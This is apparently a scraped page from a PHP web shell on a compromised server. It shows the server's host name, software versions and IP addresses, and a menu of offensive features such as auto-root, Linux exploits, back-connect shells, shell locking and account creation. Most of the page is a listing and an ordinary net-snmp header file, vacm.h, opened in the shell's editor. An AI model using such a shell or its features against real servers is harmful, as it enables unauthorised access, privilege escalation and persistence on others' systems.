Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
include /
net-snmp /
library /
[ HOME SHELL ]
Name
Size
Permission
Action
README
3.32
KB
-rw-r--r--
asn1.h
18.14
KB
-rw-r--r--
callback.h
2.66
KB
-rw-r--r--
cert_util.h
8.07
KB
-rw-r--r--
check_varbind.h
1.96
KB
-rw-r--r--
container.h
15.84
KB
-rw-r--r--
container_binary_array.h
1.01
KB
-rw-r--r--
container_iterator.h
2.4
KB
-rw-r--r--
container_list_ssll.h
479
B
-rw-r--r--
container_null.h
338
B
-rw-r--r--
data_list.h
3.66
KB
-rw-r--r--
default_store.h
9.6
KB
-rw-r--r--
dir_utils.h
1.91
KB
-rw-r--r--
factory.h
1.52
KB
-rw-r--r--
fd_event_manager.h
5.27
KB
-rw-r--r--
file_utils.h
2.17
KB
-rw-r--r--
getopt.h
454
B
-rw-r--r--
int64.h
1.53
KB
-rw-r--r--
keytools.h
2.01
KB
-rw-r--r--
large_fd_set.h
5.29
KB
-rw-r--r--
lcd_time.h
3.99
KB
-rw-r--r--
md5.h
2.64
KB
-rw-r--r--
mib.h
23.69
KB
-rw-r--r--
mt_support.h
1.95
KB
-rw-r--r--
oid.h
335
B
-rw-r--r--
oid_stash.h
3
KB
-rw-r--r--
parse.h
8.72
KB
-rw-r--r--
read_config.h
6.32
KB
-rw-r--r--
scapi.h
4.05
KB
-rw-r--r--
snmp-tc.h
1.83
KB
-rw-r--r--
snmp.h
13.34
KB
-rw-r--r--
snmpAliasDomain.h
678
B
-rw-r--r--
snmpCallbackDomain.h
2.81
KB
-rw-r--r--
snmpDTLSUDPDomain.h
854
B
-rw-r--r--
snmpIPv4BaseDomain.h
875
B
-rw-r--r--
snmpIPv6BaseDomain.h
785
B
-rw-r--r--
snmpSocketBaseDomain.h
501
B
-rw-r--r--
snmpTCPBaseDomain.h
506
B
-rw-r--r--
snmpTCPDomain.h
838
B
-rw-r--r--
snmpTCPIPv6Domain.h
774
B
-rw-r--r--
snmpTLSBaseDomain.h
2.88
KB
-rw-r--r--
snmpTLSTCPDomain.h
806
B
-rw-r--r--
snmpUDPBaseDomain.h
1.29
KB
-rw-r--r--
snmpUDPDomain.h
1.7
KB
-rw-r--r--
snmpUDPIPv4BaseDomain.h
1.13
KB
-rw-r--r--
snmpUDPIPv6Domain.h
1.66
KB
-rw-r--r--
snmpUnixDomain.h
1.58
KB
-rw-r--r--
snmp_alarm.h
2.4
KB
-rw-r--r--
snmp_api.h
28.75
KB
-rw-r--r--
snmp_assert.h
3.74
KB
-rw-r--r--
snmp_client.h
5.68
KB
-rw-r--r--
snmp_debug.h
8.75
KB
-rw-r--r--
snmp_enum.h
4.15
KB
-rw-r--r--
snmp_impl.h
4.46
KB
-rw-r--r--
snmp_logging.h
3.84
KB
-rw-r--r--
snmp_parse_args.h
2.95
KB
-rw-r--r--
snmp_secmod.h
5.79
KB
-rw-r--r--
snmp_service.h
813
B
-rw-r--r--
snmp_transport.h
9.67
KB
-rw-r--r--
snmptsm.h
901
B
-rw-r--r--
snmpusm.h
12.11
KB
-rw-r--r--
snmpv3-security-includes.h
157
B
-rw-r--r--
snmpv3.h
2.22
KB
-rw-r--r--
system.h
7.08
KB
-rw-r--r--
text_utils.h
3.4
KB
-rw-r--r--
tools.h
10.02
KB
-rw-r--r--
transform_oids.h
1.17
KB
-rw-r--r--
types.h
1.89
KB
-rw-r--r--
ucd_compat.h
1.18
KB
-rw-r--r--
vacm.h
8.6
KB
-rw-r--r--
winpipe.h
1.71
KB
-rw-r--r--
winservice.h
3.52
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : vacm.h
/* * vacm.h * * SNMPv3 View-based Access Control Model */ #ifndef VACM_H #define VACM_H #ifdef __cplusplus extern "C" { #endif #define VACM_SUCCESS 0 #define VACM_NOSECNAME 1 #define VACM_NOGROUP 2 #define VACM_NOACCESS 3 #define VACM_NOVIEW 4 #define VACM_NOTINVIEW 5 #define VACM_NOSUCHCONTEXT 6 #define VACM_SUBTREE_UNKNOWN 7 #define SECURITYMODEL 1 #define SECURITYNAME 2 #define SECURITYGROUP 3 #define SECURITYSTORAGE 4 #define SECURITYSTATUS 5 #define ACCESSPREFIX 1 #define ACCESSMODEL 2 #define ACCESSLEVEL 3 #define ACCESSMATCH 4 #define ACCESSREAD 5 #define ACCESSWRITE 6 #define ACCESSNOTIFY 7 #define ACCESSSTORAGE 8 #define ACCESSSTATUS 9 #define VACMVIEWSPINLOCK 1 #define VIEWNAME 2 #define VIEWSUBTREE 3 #define VIEWMASK 4 #define VIEWTYPE 5 #define VIEWSTORAGE 6 #define VIEWSTATUS 7 #define VACM_MAX_STRING 32 #define VACMSTRINGLEN 34 /* VACM_MAX_STRING + 2 */ struct vacm_groupEntry { int securityModel; char securityName[VACMSTRINGLEN]; char groupName[VACMSTRINGLEN]; int storageType; int status; u_long bitMask; struct vacm_groupEntry *reserved; struct vacm_groupEntry *next; }; #define CONTEXT_MATCH_EXACT 1 #define CONTEXT_MATCH_PREFIX 2 /* VIEW ENUMS ---------------------------------------- */ /* SNMPD usage: get/set/send-notification views */ #define VACM_VIEW_READ 0 #define VACM_VIEW_WRITE 1 #define VACM_VIEW_NOTIFY 2 /* SNMPTRAPD usage: log execute and net-access (forward) usage */ #define VACM_VIEW_LOG 3 #define VACM_VIEW_EXECUTE 4 #define VACM_VIEW_NET 5 /* VIEW BIT MASK VALUES-------------------------------- */ /* SNMPD usage: get/set/send-notification views */ #define VACM_VIEW_READ_BIT (1 << VACM_VIEW_READ) #define VACM_VIEW_WRITE_BIT (1 << VACM_VIEW_WRITE) #define VACM_VIEW_NOTIFY_BIT (1 << VACM_VIEW_NOTIFY) /* SNMPTRAPD usage: log execute and net-access (forward) usage */ #define VACM_VIEW_LOG_BIT (1 << VACM_VIEW_LOG) #define VACM_VIEW_EXECUTE_BIT (1 << VACM_VIEW_EXECUTE) #define VACM_VIEW_NET_BIT (1 << VACM_VIEW_NET) #define VACM_VIEW_NO_BITS 0 /* Maximum number of views in the view array */ #define VACM_MAX_VIEWS 8 #define VACM_VIEW_ENUM_NAME "vacmviews" void init_vacm(void); struct vacm_accessEntry { char groupName[VACMSTRINGLEN]; char contextPrefix[VACMSTRINGLEN]; int securityModel; int securityLevel; int contextMatch; char views[VACM_MAX_VIEWS][VACMSTRINGLEN]; int storageType; int status; u_long bitMask; struct vacm_accessEntry *reserved; struct vacm_accessEntry *next; }; struct vacm_viewEntry { char viewName[VACMSTRINGLEN]; oid viewSubtree[MAX_OID_LEN]; size_t viewSubtreeLen; u_char viewMask[VACMSTRINGLEN]; size_t viewMaskLen; int viewType; int viewStorageType; int viewStatus; u_long bitMask; struct vacm_viewEntry *reserved; struct vacm_viewEntry *next; }; NETSNMP_IMPORT void vacm_destroyViewEntry(const char *, oid *, size_t); NETSNMP_IMPORT void vacm_destroyAllViewEntries(void); #define VACM_MODE_FIND 0 #define VACM_MODE_IGNORE_MASK 1 #define VACM_MODE_CHECK_SUBTREE 2 NETSNMP_IMPORT struct vacm_viewEntry *vacm_getViewEntry(const char *, oid *, size_t, int); /* * Returns a pointer to the viewEntry with the * same viewName and viewSubtree * Returns NULL if that entry does not exist. */ NETSNMP_IMPORT int vacm_checkSubtree(const char *, oid *, size_t); /* * Check to see if everything within a subtree is in view, not in view, * or possibly both. * * Returns: * VACM_SUCCESS The OID is included in the view. * VACM_NOTINVIEW If no entry in the view list includes the * provided OID, or the OID is explicitly excluded * from the view. * VACM_SUBTREE_UNKNOWN The entire subtree has both allowed and * disallowed portions. */ NETSNMP_IMPORT void vacm_scanViewInit(void); /* * Initialized the scan routines so that they will begin at the * beginning of the list of viewEntries. * */ NETSNMP_IMPORT struct vacm_viewEntry *vacm_scanViewNext(void); /* * Returns a pointer to the next viewEntry. * These entries are returned in no particular order, * but if N entries exist, N calls to view_scanNext() will * return all N entries once. * Returns NULL if all entries have been returned. * view_scanInit() starts the scan over. */ NETSNMP_IMPORT struct vacm_viewEntry *vacm_createViewEntry(const char *, oid *, size_t); /* * Creates a viewEntry with the given index * and returns a pointer to it. * The status of this entry is created as invalid. */ NETSNMP_IMPORT void vacm_destroyGroupEntry(int, const char *); NETSNMP_IMPORT void vacm_destroyAllGroupEntries(void); NETSNMP_IMPORT struct vacm_groupEntry *vacm_createGroupEntry(int, const char *); NETSNMP_IMPORT struct vacm_groupEntry *vacm_getGroupEntry(int, const char *); NETSNMP_IMPORT void vacm_scanGroupInit(void); NETSNMP_IMPORT struct vacm_groupEntry *vacm_scanGroupNext(void); NETSNMP_IMPORT void vacm_destroyAccessEntry(const char *, const char *, int, int); NETSNMP_IMPORT void vacm_destroyAllAccessEntries(void); NETSNMP_IMPORT struct vacm_accessEntry *vacm_createAccessEntry(const char *, const char *, int, int); NETSNMP_IMPORT struct vacm_accessEntry *vacm_getAccessEntry(const char *, const char *, int, int); NETSNMP_IMPORT void vacm_scanAccessInit(void); NETSNMP_IMPORT struct vacm_accessEntry *vacm_scanAccessNext(void); void vacm_destroySecurityEntry(const char *); struct vacm_securityEntry *vacm_createSecurityEntry(const char *); struct vacm_securityEntry *vacm_getSecurityEntry(const char *); void vacm_scanSecurityInit(void); struct vacm_securityEntry *vacm_scanSecurityEntry(void); NETSNMP_IMPORT int vacm_is_configured(void); void vacm_save(const char *token, const char *type); void vacm_save_view(struct vacm_viewEntry *view, const char *token, const char *type); void vacm_save_access(struct vacm_accessEntry *access_entry, const char *token, const char *type); void vacm_save_auth_access(struct vacm_accessEntry *access_entry, const char *token, const char *type, int authtype); void vacm_save_group(struct vacm_groupEntry *group_entry, const char *token, const char *type); NETSNMP_IMPORT void vacm_parse_config_view(const char *token, const char *line); NETSNMP_IMPORT void vacm_parse_config_group(const char *token, const char *line); NETSNMP_IMPORT void vacm_parse_config_access(const char *token, const char *line); NETSNMP_IMPORT void vacm_parse_config_auth_access(const char *token, const char *line); NETSNMP_IMPORT int store_vacm(int majorID, int minorID, void *serverarg, void *clientarg); NETSNMP_IMPORT struct vacm_viewEntry *netsnmp_view_get(struct vacm_viewEntry *head, const char *viewName, oid * viewSubtree, size_t viewSubtreeLen, int mode); #ifdef __cplusplus } #endif #endif /* VACM_H */
Close